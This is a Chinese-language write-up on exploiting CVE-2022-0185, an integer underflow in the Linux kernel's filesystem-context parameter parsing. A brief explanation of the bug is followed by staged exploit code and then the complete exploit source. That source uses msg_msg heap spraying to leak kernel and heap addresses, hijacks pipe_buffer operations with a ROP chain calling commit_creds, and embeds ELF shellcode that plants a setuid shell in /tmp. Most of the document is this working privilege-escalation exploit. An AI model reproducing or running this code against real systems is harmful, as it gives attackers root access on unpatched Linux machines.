这是一个关于整型溢出的CVE。
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param) {struct legacy_fs_context *ctx = fc->fs_private; // [1] ctx 与文件描述符相关unsigned int size = ctx->data_size; // [2] size —— 目前已经写入 buffer 的长度size_t len = 0;int ret;[ ... ]switch (param->type) {case fs_value_is_string:len = 1 + param->size; // [3] len = strlen(key) + 1 + strlen(value) 将要写入的长度, 对应到 mount option string key=valuecase fs_value_is_flag:len += strlen(param->key);break;default:return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported", param->key);}if (len > PAGE_SIZE-2-size) return invalf(fc, "VFS: Legacy: Cumulative options too large"); // [4] 边界检查, 避免溢出[ ... ]if (!ctx->legacy_data) {ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); // [5] 首次分配 4096 字节缓冲区if (!ctx->legacy_data) return -ENOMEM;}ctx->legacy_data[size++] = ','; // [6] 开始往 buffer 写数据, 先写个逗号, 再写 key, 再写 等号, 再写 value, 最后结尾写 NULL, 保存新的sizelen = strlen(param->key);memcpy(ctx->legacy_data + size, param->key, len);size += len;if (param->type == fs_value_is_string) {ctx->legacy_data[size++] = '=';memcpy(ctx->legacy_data + size, param->string, param->size);size += param->size;}ctx->legacy_data[size] = '\0';ctx->data_size = size;ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;return 0;
}
这是触发漏洞的函数,size每次都增加,会在 page_size-size-2发生溢出,由于size是unsigned类型,会下溢成一个极大数。
具体介绍可以看【kernel exploit】CVE-2022-0185 File System Context 整数溢出漏洞利用 — bsauce
本文主要介绍提权方法。
step1
泄露kbase。其实很明显,覆盖msg_msg->m_ts泄露stat,或者tty什么的也可以,一个kmalloc-4k的slab有8个object,为了防止一开始object布局乱起八糟的,我采用先分配8个msg_msg,再分配victim object,再分配8个msg_msg来泄露基址,覆盖的成功率很高,只是kmalloc-32的下一个不一定是stat,这一步成功的概率大概1/2。
当然,也和我固定取leak[510]有关,采用搜索的方法成功率应该解决100%。
printf("[+] STEP1-------------------------------[+]\n");for(;i<7;i++){qu[i]=get_msg_queue();buf[5]=i+1;write_msg(qu[i],buf,4060,1);}fd = fsopen("ext4", 0);if(fd<0)err_exit("open ext4");printf("[+] start to overflow!!!\n");strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");i=0;for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);printf("[+] start to spray stat!!!\n");i=0;for(;i<0x100;i++){stat[i]=open("/proc/self/stat",0);}//1+21+1+1=24pat[21]='\x00';fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);i=7;for(;i<20;i++){qu[i]=get_msg_queue();buf[5]=i+1;write_msg(qu[i],buf,4060,1);}char* m_ts="\x60\x10\x00";fsconfig(fd,FSCONFIG_SET_STRING,"\x00",m_ts,0);//m_ts=0x2050i=0;for(;i<20;i++){memset(leak,0,10000);res=peek_msg(qu[i],leak,0x1060,0);if(res<0)err_exit("peek_msg");if(res==0x1060){kbase=leak[510]-0x1336770;break;}}//sleep(10);if(kbase==0||(kbase&0xfff)!=0){printf("[-] leak kbase false!!!\n");exit(0);}printf("[+] kbase:%lx;\n",kbase);
step2
这一步是泄露堆地址,因为我采用打pipe_buffer的方法,需要已知地址布置fake_ops。本CVE貌似开启了harden freelist,所以采用泄露msg_msg->next的方法来获取堆地址,构造kmalloc-1k-->kmalloc-64-->kmalloc-512的格局进行堆喷,泄露kmalloc-64上的msg_msg的next指针,其实只构造kmalloc-64-->kmalloc-512就可以了.......
printf("[+] STEP2-------------------------------[+]\n");i=0;for(;i<8;i++){qr[i]=get_msg_queue();buf[5]=i+1;write_msg(qr[i],buf,4080,1);}fd = fsopen("ext4", 0);if(fd<0)err_exit("open ext4");printf("[+] start to overflow!!!\n");strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");i=0;for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);pat[21]='\x00';fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);i=8;for(;i<16;i++){qr[i]=get_msg_queue();buf[5]=i+1;write_msg(qr[i],buf,4080,1);}char* evn="\x50\x16\x00";fsconfig(fd,FSCONFIG_SET_STRING,"\x00",evn,0);printf("[+] start to spray heap_addr!!!\n");spray_msg();memset(leak,0,8000);i=0;for(;i<16;i++){res=peek_msg(qr[i],leak,0x1650,0);if(res<0)perror("peek_msg");if(res==0x1650){int j=0;for(;j<1000;j++){if(leak[j]==10){pipe_ff=leak[j-2];gadget=leak[j-3]+0x30;break;}}break;}}if(pipe_ff==0){printf("[-] leak heap_addr false!!!\n");exit(0);}printf("[+] pipe_ff:%lx;\n",pipe_ff);printf("[+] gadget:%lx;\n",gadget);
很明显,我们要在kmalloc-512上布置fake_ops,当然,我采用pt_regs的方法,所以其实就是堆喷`add rsp`这个gadget就可以了。
step3
到提权了,我看原有exp貌似将msg_msg->next执行pipe_buffer-0x30来构造UAF,但感觉将msg_msg前两个指针搞烂了,应该容易报错,也没细看它是怎么绕过的。但其实我们能修改pipe_buffer大小,细节可以看我前一篇文章,我将pipe_buffer修改为kmalloc-4k,然后覆盖ops为之前泄露的kmalloc-512+0x30就好了,用msg_msg在kmalloc-512堆喷gadget。
printf("[+] STEP3-------------------------------[+]\n");printf("[+] start to spray pipe_buffer!!!\n");i=0;for(;i<30;i++)pipe(pipe_fd[i]);i=0;for(;i<10;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);fd = fsopen("ext4", 0);if(fd<0)err_exit("open ext4");printf("[+] start to overflow!!!\n");strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");i=0;for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);i=10;for(;i<30;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);char value[40];memset(value,0x41,40);memcpy(value+15,&gadget,8);fsconfig(fd, FSCONFIG_SET_STRING, "\x00", value, 0);printf("[+] STEP4-------------------------------[+]\n");printf("[+] start to spray gadgets!!!\n");close_msg();pop_rdi=kbase+0x10475ed;commit_creds=kbase+0x10c9f00;init_cred=kbase+0x286b7a0;add_rsp=kbase+0x18abf50;restore=kbase+0x1e00fb8;spray_gadget();printf("[+] start to hijack control flow!!!\n");i=0;for(;i<30;i++){close(pipe_fd[i][0]);__asm__("mov r15,pop_rdi;""mov r14,init_cred;""mov r13,commit_creds;""mov r12,restore;""mov rbp,0xdeadbeef;""mov rbx,0xdeadbeef;""mov r11,0xdeadbeef;""mov r10,0xdeadbeef;""mov r9,0xdeadbeef;""mov r8,0xdeadbeef");close(pipe_fd[i][1]);}get_shell();return 0;
problem
现在问题是,执行无论system('/bin/sh'),execve('/bin/sh',0,0)还是signal注册一下,都会造成segment fault,不能长久uid==0。
其实改成system('cat /flag')能将flag读出来。
void get_flag_file(){unsigned char elfcode[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};FILE *fp;fp = fopen("/tmp/w", "wb");if (fp == NULL) {perror("fopen");return -1;}if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {perror("fwrite");return -1;}fclose(fp);system("chmod +x /tmp/w"); return;
}
最后只能execve('/tmp/w',0,0),然后自己去执行/tmp/sh,能够让uid==0。
以下是完整exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)struct list_head {uint64_t next;uint64_t prev;
};struct msg_msg {struct list_head m_list;uint64_t m_type;uint64_t m_ts;uint64_t next;uint64_t security;
};struct msg_msgseg {uint64_t next;
};/*
struct msgbuf {long mtype;char mtext[0];
};
*/int get_msg_queue(void)
{return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}/*** the msgp should be a pointer to the `struct msgbuf`,* and the data should be stored in msgbuf.mtext*/
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{((struct msgbuf*)msgp)->mtype = msgtyp;return msgsnd(msqid, msgp, msgsz, 0);
}/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}void build_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)
{msg->m_list.next = m_list_next;msg->m_list.prev = m_list_prev;msg->m_type = m_type;msg->m_ts = m_ts;msg->next = next;msg->security = security;
}size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}void err_exit(char *msg)
{perror(msg);sleep(2);exit(EXIT_FAILURE);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void unshare_setup(uid_t uid, gid_t gid)
{int temp;char edit[0x100];unshare(CLONE_NEWNS|CLONE_NEWUSER);temp = open("/proc/self/setgroups", O_WRONLY);write(temp, "deny", strlen("deny"));close(temp);temp = open("/proc/self/uid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", uid);write(temp, edit, strlen(edit));close(temp);temp = open("/proc/self/gid_map", O_WRONLY);snprintf(edit, sizeof(edit), "0 %d 1", gid);write(temp, edit, strlen(edit));close(temp);return;
}void get_flag_file(){unsigned char elfcode[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};FILE *fp;fp = fopen("/tmp/w", "wb");if (fp == NULL) {perror("fopen");return -1;}if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {perror("fwrite");return -1;}fclose(fp);system("chmod +x /tmp/w"); return;
}char* sh="/bin/sh";void get_shell(){if(getuid()==0){printf("[+] success!!!\n");execve("/tmp/w",NULL,NULL);}else{printf("[-] something wrong");}
}int kk[100];void spray_msg(){char buf[10000];int j=0;for(;j<100;j++){kk[j]=get_msg_queue();write_msg(kk[j],buf,800,1);write_msg(kk[j],buf,10,2);write_msg(kk[j],buf,400,3);}printf("[+] 1k-->64-->512 constructed!!!\n");
}void close_msg(){char buf[10000];int j=0;for(;j<100;j++){read_msg(kk[j],buf,800,1);read_msg(kk[j],buf,10,2);read_msg(kk[j],buf,400,3);}printf("[+] msg_msg has been closed\n");
}int fd;size_t init_cred;
size_t commit_creds;
size_t pop_rdi;
size_t heap_addr;
size_t add_rsp;
size_t restore;
size_t buf[0x500];
size_t kbase=0;
size_t pipe_ff=0;
size_t gadget=0;
int stat[0x100];
char pat[300]={0};
int qu[20];
int qr[16];
int res;
int i=0;
size_t leak[2000];
int pipe_fd[30][2];void spray_gadget(){int gt[4096];size_t cover[56];int j=0;for(;j<56;j++)cover[j]=add_rsp;int i=0;for(;i<4096;i++){gt[i]=get_msg_queue();write_msg(gt[i],cover,400,1);}return;
}int main(){get_flag_file();signal(SIGSEGV,get_shell);bind_core(0);save_status();unshare_setup(getuid(), getgid());printf("[+] STEP1-------------------------------[+]\n");for(;i<7;i++){qu[i]=get_msg_queue();buf[5]=i+1;write_msg(qu[i],buf,4060,1);}fd = fsopen("ext4", 0);if(fd<0)err_exit("open ext4");printf("[+] start to overflow!!!\n");strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");i=0;for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);printf("[+] start to spray stat!!!\n");i=0;for(;i<0x100;i++){stat[i]=open("/proc/self/stat",0);}//1+21+1+1=24pat[21]='\x00';fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);i=7;for(;i<20;i++){qu[i]=get_msg_queue();buf[5]=i+1;write_msg(qu[i],buf,4060,1);}char* m_ts="\x60\x10\x00";fsconfig(fd,FSCONFIG_SET_STRING,"\x00",m_ts,0);//m_ts=0x2050i=0;for(;i<20;i++){memset(leak,0,10000);res=peek_msg(qu[i],leak,0x1060,0);if(res<0)err_exit("peek_msg");if(res==0x1060){kbase=leak[510]-0x1336770;break;}}//sleep(10);if(kbase==0||(kbase&0xfff)!=0){printf("[-] leak kbase false!!!\n");exit(0);}printf("[+] kbase:%lx;\n",kbase);printf("[+] STEP2-------------------------------[+]\n");i=0;for(;i<8;i++){qr[i]=get_msg_queue();buf[5]=i+1;write_msg(qr[i],buf,4080,1);}fd = fsopen("ext4", 0);if(fd<0)err_exit("open ext4");printf("[+] start to overflow!!!\n");strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");i=0;for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);pat[21]='\x00';fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);i=8;for(;i<16;i++){qr[i]=get_msg_queue();buf[5]=i+1;write_msg(qr[i],buf,4080,1);}char* evn="\x50\x16\x00";fsconfig(fd,FSCONFIG_SET_STRING,"\x00",evn,0);printf("[+] start to spray heap_addr!!!\n");spray_msg();memset(leak,0,8000);i=0;for(;i<16;i++){res=peek_msg(qr[i],leak,0x1650,0);if(res<0)perror("peek_msg");if(res==0x1650){int j=0;for(;j<1000;j++){if(leak[j]==10){pipe_ff=leak[j-2];gadget=leak[j-3]+0x30;break;}}break;}}if(pipe_ff==0){printf("[-] leak heap_addr false!!!\n");exit(0);}printf("[+] pipe_ff:%lx;\n",pipe_ff);printf("[+] gadget:%lx;\n",gadget);printf("[+] STEP3-------------------------------[+]\n");printf("[+] start to spray pipe_buffer!!!\n");i=0;for(;i<30;i++)pipe(pipe_fd[i]);i=0;for(;i<10;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);fd = fsopen("ext4", 0);if(fd<0)err_exit("open ext4");printf("[+] start to overflow!!!\n");strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");i=0;for (; i < 117; i++)fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);i=10;for(;i<30;i++)fcntl(pipe_fd[i][1],F_SETPIPE_SZ,0x1000*64);char value[40];memset(value,0x41,40);memcpy(value+15,&gadget,8);fsconfig(fd, FSCONFIG_SET_STRING, "\x00", value, 0);printf("[+] STEP4-------------------------------[+]\n");printf("[+] start to spray gadgets!!!\n");close_msg();pop_rdi=kbase+0x10475ed;commit_creds=kbase+0x10c9f00;init_cred=kbase+0x286b7a0;add_rsp=kbase+0x18abf50;restore=kbase+0x1e00fb8;spray_gadget();printf("[+] start to hijack control flow!!!\n");i=0;for(;i<30;i++){close(pipe_fd[i][0]);__asm__("mov r15,pop_rdi;""mov r14,init_cred;""mov r13,commit_creds;""mov r12,restore;""mov rbp,0xdeadbeef;""mov rbx,0xdeadbeef;""mov r11,0xdeadbeef;""mov r10,0xdeadbeef;""mov r9,0xdeadbeef;""mov r8,0xdeadbeef");close(pipe_fd[i][1]);}get_shell();return 0;}